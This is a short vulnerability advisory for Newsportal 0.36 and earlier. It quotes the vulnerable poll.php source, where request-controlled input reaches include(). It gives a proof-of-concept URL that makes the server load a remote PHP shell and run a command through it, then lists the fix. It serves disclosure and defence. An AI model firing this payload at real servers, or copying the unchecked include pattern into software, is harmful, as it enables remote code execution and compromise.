Newsportal versions 0.36 and below are susceptible to a remote file inclusion vulnerability.
32c4e976a967338de5ae840b79ab388e3060aed45b545db64ded9e4d59ab81cd
Newsportal <= 0.36 Remote File Inclusion Vulnerability
[+] Affected Software: Newsportal <= 0.36 + register_globals=on
[+] Vendor: https://florian-amrhein.de/newsportal
[+] Contact. philipp.niedziela@gmx.de
[+] Vuln discovered by: Florian Amrhein
[+] PoC by: Philipp Niedziela
// CODE [newsportal]/extras/poll/poll.php --------------------------------------------
<?
// experimental!
// fills article-cache
$url=explode("/",$PATH_INFO);
$group=$url[1];
include "config.inc";
$title.= ' - '.$group;
include "head.inc"; ?>
<a name="top"></a>
<h1 align="center"><?php echo $group; ?></h1>
<p>Lese Overview- und Artikeldaten ein...</p>
<?
// -----> VULN
include("$file_newsportal");
// <----- VULN
$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
$headers = readOverview($ns,$group,1,true);
closeNNTPconnection($ns);
}
?>
<p align="right"><a href="#top"><? echo $text_thread["button_top"];?></a></p>
<? include "tail.inc"; ?>
// CODE --------------------------------------------
[+] PoC:
https://[url]/[pathtonewsportal]/extras/poll/poll.php?file_newsportal=https://localhost/phpshell.txt?cmd=uname -a
[+] Solution: Upgrade to 0.37 || del. [newsportal]/extras/poll/poll.php
[+] Greets: Lenni :)